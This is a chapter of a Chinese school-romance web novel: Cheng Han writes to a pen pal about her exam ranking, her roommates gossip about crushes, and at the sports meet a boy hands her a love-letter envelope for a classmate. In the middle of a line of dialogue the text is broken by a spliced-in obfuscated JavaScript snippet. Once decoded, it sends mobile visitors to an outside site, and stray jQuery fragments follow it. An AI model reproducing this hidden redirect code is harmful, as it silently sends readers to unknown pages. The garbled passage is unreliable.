大概是她太过普通，看着就毫无威胁的人自然不值得别人专门对付。
不论是对许妍的施以援手，还是收到的那份蛋糕，都没有为她带来任何麻烦。
反倒是另一件事，让她郁闷。
周五放学前，月考成绩出来了，包括单科和总分的排名。
她总分排名班级十七，年级三百多，这个成绩其实已经是她努力过后的真实水平，但对于以前在初中总名列前茅的她来说，难免有落差。
回到家，她有些沮丧，晚上吃完饭，没有像往常帮谢秋洗碗，而是直接回了房间。
谢秋也没问什么，可能是她从小跟着爷爷奶奶长大的缘故，母女俩交流少之又少，更没有一点母女间的亲近。
程菡已经习惯了，她独自放空了两分钟后翻出书包里的草稿本，撕下一张空白的草稿纸，蹲在床边，开始短暂地倾诉。
[亲爱的木心，许久没有给你回信了，之前暑假一直待在乡下，开学后又忙着适应新环境，这次来信是想告诉你，我如愿考上了我们这的重点高中。
新学校很大很漂亮，我的几位室友人都不错，有一位成绩非常好，是我们班的数学课代表，有一位内向安静，还有两位热情开朗，我时常从她们口中听到学校发生的新鲜事。
我们平时相处和谐没有矛盾，唯一的烦恼是我的成绩。我们这周举行了月考，成绩今天出来了，我的排名在班级中上。我知道新环境里大家都很优秀，我没法再脱颖而出也很正常，但我还是很失落。
尤其是我身边还有一位优秀的室友，我今天去看排名时，甚至对她产生了嫉妒心，很卑劣对不对？还有我另一个室友，她抱怨自己这次考砸了，但排名只在我后面两名，如果她下次不考砸，肯定也会超过我。
我有点不知道该怎么办了，我知道自己其实很普通，以前被老师重视也只是矮个里拔高个。到这里，我应该会像我以前的同学们，普普通通地过完三年，可我不甘心。
我之前在信里和你说过，我从小是留守儿童，家境一般，爷爷奶奶也很封建，从小到大，成绩是我唯一的一点光环，现在，我大概连这一点光环也要失去了......]
昏黄的灯光下，少女清瘦的影子孤独地投射在老旧裂开的地板上，她心里的茫然、苦闷洋洋洒洒从笔尖停驻到纸上。
大概是自己也觉得抱怨太多，笔尖在纸上悬停许久，她又加上一句：
忘了祝贺你考上理想的高中了，希望你平安如意生活顺利，如果遇到烦恼，也欢迎你随时向我倾述。
程菡在家调整了两天状态，周一，重振旗鼓，准时被闹钟叫醒准时出门奔赴学校，顺便将那封信贴好邮票一并捎上，投递进了学校信箱。
这是她进崇德以来第一次寄信，但愿对方可以收到。
——
这周，崇德有校运会，为期两天半，周三开始，周五上午结束放周末。
听说以前学校的校运会都是在国庆之前，但校运会加上国庆假期的放纵，学生状态很难收回来，从她们这届开始就改到了月考之后。
程菡对集体活动一向不感兴趣能躲则躲，但其他几个室友都挺期待，特别是余真真，这周还带了相机来学校，从周一就开始盼望着。
“杨灵，你到时候把我拍好看点。”晚上回到寝室，余真真拉着杨灵捣鼓她的小相机。
杨灵：“知道了，你不用特地教我，这种傻瓜机我又不是不会用。”
“怎么就傻瓜机了，我妈今年暑假出去旅游刚买的，像素可好了，你别动，我拍一张给你看，”她说着摘下镜头盖，举着相机四处对焦。
“程菡，”转了一圈，她的手停住，程菡闻声回过头，一声很轻的快门声落下。
“看吧，是不是很清楚？”她炫耀地将相机递给杨灵。
“确实，不过这张把程菡拍得有点呆，你还是删掉吧。”
“呆吗？”余真真不信，将那张照片放大些许，照片里的女孩肤色白皙，五官秀丽，只是那双平时乌黑澄澈的大眼睛里此时被定格住一丝微怔的茫然，“哪里呆了？明明很生动很可爱，程菡平时都好安静，就是要有点表情更鲜活好看嘛。”
“好像是哦，程菡这个神情好可爱，”杨灵歪着头又认真看了眼。
余真真还想说什么。
上铺的叶昕怡探出头来：“你们还是问问程菡吧，拍的是她。”
“是哦，”余真真三两步蹿到程菡床边，“菡菡，怎么样？我把你拍得可爱吗？要不要留作纪念？”
自从上次给她分享了小蛋糕，她就偶尔这么叫自己。
程菡有些不习惯，但只是一个称呼，也懒得纠正，她抬眸扫了眼照片：“不要。”
“啊~无情。”
“程菡不喜欢你就删掉吧。”叶昕怡劝她。
“好吧，但容我再多看几——”话没说完，杨灵直接拿过相机，三下五除二帮她按下删除。
“心好痛~”余真真捂住胸口，生无可恋地靠向程菡。
“少来。”杨灵看破她夸张的演技，将人扯起来，“话说你这次怎么会想到去跑一千五？”
余真真：“我热爱集体，想为我们班争光啊。”
“......”杨灵一副你看我信吗的表情。
余真真：“好吧，我喜欢的人这次报了一千五，所以我也报行了吧。”
“谁？”杨灵愣了好一会儿，“林敬驰？”
“什么啊？不是！虽然他是很帅，但我不喜欢他这种。”
“那是谁？”
余真真犹豫要不要告诉她，一旁看小说的汪雅彤从书里抬起头：“是方序南吗？”
“你怎么知道！”
“我看到你的那个热水壶上好像写了他名字的缩写。”
零九年，学校寝室还没有热水器，每天都得去水房打水，大部分人都会在早上去教学楼时顺路把水壶放到水房外，中午或晚上回寝时打满再提回来，为防止大家拿错水壶，大家都会用马克笔在上面做记号。
一般是写自己的名字，但余真真写的是一句诗：揽星衔月逐日光，旁边还有一行很小的字母缩写。
杨灵闻言跑去卫生间看她的水壶，下一秒，传来响彻整个寝室的回声：“还真有！余真真，你，你搞暗恋啊！”
余真真捂住她的嘴，将人从卫生间拖出来：“小声点，待会儿就熄灯了，你想把值周老师喊来啊。”
“我这不是好奇嘛，这个方，方什么来着——”
汪雅彤：“方序南。”
“几班的？”
“十八班。”
“？学霸啊！”她们年级一共十八个班，十七，十八班是竞赛提前招进来的。
“可以啊，余真真，我以为你的性格会喜欢林敬驰那种，没想到你喜欢学霸类型的，怎么样，这个方序南长得好不好看？”
余真真平时大大咧咧率真直爽，提到喜欢的人却有些害羞别扭：“哎，你别问了，我要睡觉了。”
“我好奇嘛，你放心，我们又不会出去说。”杨灵真的很想听八卦，推搡着她的肩膀。
余真真叹了口气：“我觉得好看，运动会你们自己找机会看就是了，不过不要提我啊，人家也不认识我。”
“不认识，那你怎么喜欢上他的？”
“我......”余真真一时也回答不上来，“不知道，反正就是喜欢，第一次远远地在教学楼下看见他的时候就觉得他很不一样。”
“一见钟情？”
“可能是，后来又在食堂看见过他几次，明明食堂人很多很吵，但我好像总是能一眼看见他，他出现的时候周围好像都在发光。”
杨灵：“这么玄幻？”
“是啊，不过他好像从来没发现过我，”她叹了口气，“不过这有什么玄幻的，你没喜欢的人吗？”
“还真没有。”杨灵说。
“雅彤，你有吗？”
“没有。”
“昕姐肯定有，”杨灵想了想，“昕姐是不是喜欢我们班体委啊？”
叶昕怡：“？”
“你这次一个人报了三个项目，你不喜欢体委报这么多项目干嘛？你别说你喜欢运动啊。”
叶昕怡无语甚至想笑：“那是他一直烦着我，说我们班女生报项目的很少，他又不好意思去找她们，只能求我多报
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076164|163387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两个。”
“那他为什么好意思求你？”余真真追问。
“可能因为我们幼儿园开始就是同学，熟一点。”
“青梅竹马。”余真真，杨灵异口同声，露出八卦的眼神。
叶昕怡：“......我就说一个寝室不能有两个笨蛋。”
“？”
“真的就只是同学，没有八卦。”
“切，没意思，涵涵呢？”没听到八卦，余真真又看向程菡。
程菡已经躺下，没想到这个话题会波及自己。
她闭上眼睛装睡。
但还是难逃余真真毒手，没几秒就被她挠得隔着被子笑出声，求饶地拉下被子：“我...也没有。”
“是吗？”
“嗯。”
“那你为什么脸这么红？”
“我...在被子里闷的。”
“好吧。”余真真放过她，熄灯后，赶紧回到自己床上，“对了，程菡，我突然想起来，你今天早上是不是去学校信箱了？寄信吗？”
“嗯。”
“寄给谁？”
“一个笔友。”
“哈？笔友？”余真真还想继续问，门突然被警告地敲了两下，“熄灯就不要说话了，人到齐没有？”
余真真咽下好奇，老实回话：“齐了。”
——
周三，秋高气爽，上午阳光温和明媚，开幕式结束后，运动会正式开始。
崇德的运动会期间除了晚自习需要回到教室，其他时间都是自由的，程菡没有项目，大部分时间待在她们班的看台区，看看书，晒晒太阳，偶尔再瞟几眼下面来来往往的人，有聊天打闹的，有看比赛加油助威的，也有趁着比赛人多偷偷望一眼喜欢的人的……
她目光越过视野里三三两两的人，越飘越远，突然，面颊前扫过一阵风，来不及看清什么，额头上撞出一声闷响。
“同学，你没事吧？”
“雷项明，你有毛病啊。”
“不是，我是真没注意到那儿有个台阶，要不是绊了一下我球不会脱手。”
“运动会你拿什么篮球？”
“我不是看你今天没比赛——”
“要去医务室吗？”
少年的争吵声她耳边盘旋着慢慢变清晰，延迟的痛觉后知后觉地爬上额头，她想抬手去揉一揉。
余光里，少年的手靠近过来，冷白的肌肤，清晰的血管，有一丝丝温热，是阳光从他指缝中穿过，落在了她额前的发丝上，也是这一抹没有被遮挡的光线，她发现自己上次看错了。
他手腕上的那颗痣不是褐色的，是暗红色的，像夏日傍晚的晚霞即将沉入黑夜前的最后一抹亮色。
林敬驰不知道这姑娘是不是被砸傻了，那么沉的一声，她不哭不闹，也不破口大骂，搞得他心里有些没底，想凑近看看她到底有没有事，又被她很不给面子地躲开了。
“不用。”片刻的尴尬后，一道很轻的声音响起，林敬驰愣了一下，才确认是她在说话，他撑着膝盖，弯下腰，小姑娘立马又低下了头。
好吧，看起来是很不想理他。
但谁让他们砸到人了呢，有错在先，林敬驰也不好有脾气。
“真没事吗？头晕的话我们现在陪你去医务室。”
低着的脑袋摇了摇，落在他脚边的小小影子也跟着晃动，像是在催促他快滚。
“行吧，”林敬驰也没有强迫人的爱好，“那之后有什么事你可以去八班找我，或者找雷项明，是他砸的你。”
“哎，同学，我真是不小心——”雷项明急着想解释。
林敬驰摁着他的肩膀把人转过去，从校服里掏出一个东西：“你是三班的吧？”
程菡没有吭声。
“你帮我把这个交给许妍。”
没有等她回答，眼前的光线又亮起来，大片的阳光，突然有些刺眼，她侧过头看向少年走之前放在她腿边的东西，是一个信封。
渐变的天蓝色，图案上有花、蝴蝶，在阳光下泛着淡淡的细闪，既清新，又唯美。
在程菡的印象中，会用到这种信封的一般是——情书。